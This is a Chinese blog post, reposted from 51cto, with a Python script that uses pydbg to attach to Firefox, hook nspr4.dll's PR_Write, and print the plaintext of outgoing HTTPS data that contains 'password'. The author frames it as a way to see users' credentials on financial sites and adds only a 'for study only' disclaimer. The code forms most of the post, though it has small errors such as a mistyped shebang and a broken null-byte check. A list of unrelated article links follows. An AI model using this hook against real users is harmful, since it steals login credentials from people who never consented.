python利用hook技术破解https的实例代码


Posted in Python onMarch 25, 2013

相对于http协议,http是的特点就是他的安全性,http协议的通信内容用普通的嗅探器可以捕捉到,但是https协议的内容嗅探到的是加密后的内容,对我们的利用价值不是很高,所以一些大的网站----涉及到“大米”的网站,采用的都是http是协议,嘿嘿,即便这样,还是有办法能看到他的用户名和密码的,嘿嘿,本文只是用于技术学习,只是和大家交流技术,希望不要用于做违法的事情,这个例子是在firefox浏览器下登录https协议的网站,我们预先打开程序,就来了个捕获用户名和密码:

下面是源代码:

#!/ur/bin/env python     
from pydbg import *
from pydbg.defines import *import utils     
import sys     
dbg = pydbg()     
found_firefox = False
pattern = "password"
          
def ssl_sniff( dbg, args ):     
    buffer = ""     
    offset = 0
    while 1:     
        byte = dbg.read_process_memory( args[1] + offset, 1 )     
        if byte != "x00":     
            buffer += byte     
            offset += 1
            continue
        else:     
            break
    if pattern in buffer:     
        print "Pre-Encrypted: %s" % buffer
    return DBG_CONTINUE     
# 寻找firefox.exe的进程     
for (pid, name) in dbg.enumerate_processes():     
    if name.lower() == "firefox.exe":     
        found_firefox = True
        hooks = utils.hook_container()     
        dbg.attach(pid)     
        print "[*] Attaching to firefox.exe with PID: %d" % pid     
# 得到firefox的hook的 address     
        hook_address = dbg.func_resolve_debuggee("nspr4.dll","PR_Write")     
        if hook_address:     
# 添加hook的内容,包括他的pid,地址,嗅探类型    
            hooks.add( dbg, hook_address, 2, ssl_sniff, None )     
            print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_address     
            break
        else:     
            print "[*] Error: Couldn't resolve hook address."
            sys.exit(-1)     
        if found_firefox:     
            print "[*] Hooks set, continuing process."
            dbg.run()     
        else:     
                print "[*] Error: Couldn't find the firefox.exe process."
                sys.exit(-1)     
if found_firefox:     
    print "[*] Hooks set, continuing process."
    dbg.run()     
else:     
    print "[*] Error: Couldn't find the firefox.exe process."
    sys.exit(-1)

转自:http://world77.blog.51cto.com/414605/518679

Python 相关文章推荐
Python2.x中文乱码问题解决方法
Jun 02 Python
详解字典树Trie结构及其Python代码实现
Jun 03 Python
Ubuntu 16.04 LTS中源码安装Python 3.6.0的方法教程
Dec 27 Python
基于Python的XSS测试工具XSStrike使用方法
Jul 29 Python
Django model序列化为json的方法示例
Oct 16 Python
numpy数组之存取文件的实现示例
May 24 Python
浅谈Python大神都是这样处理XML文件的
May 31 Python
python使用minimax算法实现五子棋
Jul 29 Python
opencv调整图像亮度对比度的示例代码
Sep 27 Python
解决pycharm上的jupyter notebook端口被占用问题
Dec 17 Python
python 实现按对象传值
Dec 26 Python
解决tensorflow 释放图,删除变量问题
Jun 23 Python
利用python获得时间的实例说明
Mar 25 #Python
python 将字符串转换成字典dict
Mar 24 #Python
使用python提取html文件中的特定数据的实现代码
Mar 24 #Python
python 切片和range()用法说明
Mar 24 #Python
python list中append()与extend()用法分享
Mar 24 #Python
python del()函数用法
Mar 24 #Python
python dict remove数组删除(del,pop)
Mar 24 #Python
You might like
星际争霸 Starcraft 编年史
2020/03/14 星际争霸
mysql_fetch_row,mysql_fetch_array,mysql_fetch_assoc的区别
2009/04/24 PHP
php返回json数据函数实例
2014/10/09 PHP
nginx下安装php7+php5
2016/07/31 PHP
Laravel 自动转换长整型雪花 ID 为字符串的实现
2020/10/27 PHP
跨浏览器的 mouseenter mouseleave 以及 compareDocumentPosition的使用说明
2010/05/04 Javascript
JS中处理与当前时间间隔的函数代码
2012/05/23 Javascript
jQuery阻止同类型事件小结
2013/04/19 Javascript
js猜数字小游戏的简单实现代码
2013/07/02 Javascript
Jquery基础教程之DOM操作
2015/08/19 Javascript
js实现文本框只允许输入数字并限制数字大小的方法
2015/08/19 Javascript
基于JavaScript实现div层跟随滚动条滑动
2016/01/12 Javascript
JavaScript开发者必备的10个Sublime Text插件
2016/02/27 Javascript
ClearTimeout消除闪动实例代码
2016/02/29 Javascript
Vue.js基础知识小结
2017/01/13 Javascript
js 递归和定时器的实例解析
2017/02/03 Javascript
React Native中的RefreshContorl下拉刷新使用
2017/10/09 Javascript
JS实现调用本地摄像头功能示例
2018/05/18 Javascript
js实现页面多个日期时间倒计时效果
2019/06/20 Javascript
layui动态表头的实现代码
2019/08/22 Javascript
[40:10]2015国际邀请赛全明星表演赛
2015/08/07 DOTA
python获得两个数组交集、并集、差集的方法
2015/03/27 Python
列举Python中吸引人的一些特性
2015/04/09 Python
python的exec、eval使用分析
2017/12/11 Python
Python安装pycurl失败的解决方法
2018/10/15 Python
Python和Java的语法对比分析语法简洁上python的确完美胜出
2019/05/10 Python
python数据分析工具之 matplotlib详解
2020/04/09 Python
使用CSS3的ruby-position固定注音位置的用法示例
2016/07/05 HTML / CSS
HTML+CSS3+JS 实现的下拉菜单
2020/11/25 HTML / CSS
video结合canvas实现视频在线截图功能
2018/06/25 HTML / CSS
英国天然有机美容护肤品:Neal’s Yard Remedies
2018/05/05 全球购物
澳大利亚购买太阳镜和眼镜网站:Glamoureyes
2020/09/22 全球购物
历史系毕业生自荐信
2013/10/28 职场文书
财务简历的自我评价
2014/03/05 职场文书
消防宣传语大全
2015/07/13 职场文书
MySQL高级进阶sql语句总结大全
2022/03/16 MySQL